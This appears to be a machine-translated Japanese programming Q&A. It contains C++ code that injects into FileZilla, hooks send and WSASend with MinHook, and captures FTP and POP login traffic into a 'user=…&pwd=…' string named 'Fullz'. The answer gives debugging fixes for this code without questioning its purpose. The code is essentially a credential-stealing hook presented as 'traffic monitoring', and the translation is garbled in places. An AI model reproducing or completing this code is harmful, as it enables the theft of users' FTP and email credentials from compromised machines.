2017-01-01 5 views
1

トラフィックを監視するためにSend/WSASendをフックしようとしています。メッセージボックスにデータを表示します。フック送信/ WSASendはランタイムチェックエラー#0を返します

コードは、正しくコンパイルするようだ私はfilezillaのに注入すると、私はライン上のランタイムチェックエラー#0を得る

#include "stdafx.h" 
#include "MinHook.h" 
#include <Windows.h> 
#include <stdio.h> 
#include <Wininet.h> 
#include <fstream> 
#include <string> 
#include <vector> 
#include <winsock2.h> 
#include "popftphook.h" 

#pragma comment (lib, "wininet") 
#pragma comment(lib,"urlmon") 
#pragma comment(lib, "ws2_32") 

using namespace std; 

LPVOID original_functionwsa = NULL; 
LPVOID original_functionsend = NULL; 

template <typename T> 
inline MH_STATUS MH_CreateHookEx(LPVOID original, LPVOID pDetour, T** ppOriginal) 
{ 
    return MH_CreateHook(original, pDetour, reinterpret_cast<void**>(ppOriginal)); 
} 

typedef int(*send_FuncType)(SOCKET s, const char *buf, int len, int flags); 
typedef int (WINAPI *OldWSASend)(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine); 
void ExportBuffer(char *buf, SOCKET s); 
send_FuncType True_send = NULL; 
OldWSASend TrueWSAhook1 = NULL; 

void ExportBuffer(char *buf, SOCKET s) 
{ 
    char *buffer = (char*)buf; 
    if (strncmp(buffer, "FTP", 5) == 0 || strncmp(buffer, "POP", 5) == 0) 
    { 
     sockaddr_in peeraddr; 
     int size = sizeof(peeraddr); 
     getpeername(s, (struct sockaddr *)&peeraddr, &size); 
     struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr; 
     char* IP = inet_ntoa(peeraddr.sin_addr); 
     int Port = (int)htons(peeraddr.sin_port); 

     if (IP != NULL && Port > 0) 
     { 
      char Fullz[250]; 
      wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", buf, inet_ntoa(peeraddr.sin_addr), Port); 
      MessageBoxA(0, Fullz, 0, 0); 
     } 
    } 
} 


int WINAPI Detoursend(SOCKET s, const char *buf, int len, int flags) 
{ 
    int hResult = True_send(s, buf, len, flags); 
    if (hResult > 0) 
    { 
     ExportBuffer((char*)buf, s); 
    } 

    return hResult; 
} 

int WINAPI HOOK_WSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) 
{ 
    int hResult = TrueWSAhook1(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine); 
    if (hResult > 0) 
    { 
     ExportBuffer((char*)lpBuffers->buf, s); 
    } 
    return hResult; 

} 

void hookSend() 
{ 
    MH_STATUS status = MH_Initialize(); 
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "send"); 
    status = MH_CreateHookEx(original_functionsend, &Detoursend, &True_send); 
    status = MH_EnableHook(MH_ALL_HOOKS); 
} 

void hookWSApop() 
{ 
    MH_STATUS status = MH_Initialize(); 
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "WSASend"); 
    status = MH_CreateHookEx(original_functionsend, &HOOK_WSASend, &TrueWSAhook1); 
    status = MH_EnableHook(MH_ALL_HOOKS); 
} 

void poptrigger() 
{ 
    hookSend(); 
    hookWSApop(); 
} 

の下に次のようになります57

答えて

3

あなたsend_FuncTypeのtypedefは、明示的な呼び出しが欠落していますコンパイラのデフォルト(通常は__cdecl)が使用されます。 send()は、ほぼすべてのWin32 API関数が行うように、__stdcall呼び出し規約を使用します。したがって、呼び出し規約違反のためにTrue_send()を呼び出すと、ランタイムエラーが発生する可能性があります。 WINAPIマクロには__stdcallの規則が含まれているため、WSASend()フックに似たような不一致がありません。

また、ExportBuffer()は、ロジックのバグのかなり多くを持っています(FTPおよびPOP3プロトコルには存在しないとヌルターミネータ)

  1. send()WSASend()はnull終端のバッファ上で動作しませんが、あなたのstrncmpwsprintfAオペレーションでは、NULLで終了するデータが必要です。
  2. TCPのストリーム指向の性質を全く考慮に入れていません。指定されたバッファに完全な文字列が含まれるという保証はありません。複数のバッファにまたがる文字列を処理する準備が必要です。
  3. すべてのソケットがIPv4のみを使用していると仮定していますが、これは保証されていません。 IPv4とIPv6の両方をサポートするには、sockaddr_inの代わりにsockaddr_storageを使用し、inet_ntoa()の代わりにInetPton()を使用します。
  4. wsprintfA()に十分なパラメータを渡していません。 4つの書式指定子がありますが、3つのデータ値しか渡していません。
  5. FTPとPOP3プロトコルを処理したいと思われますが、文字列"FTP""POP"はこれらのプロトコルの送信データには表示されませんので、本当に探していますか?

これらのエラーを修正する必要があります。

関連する問題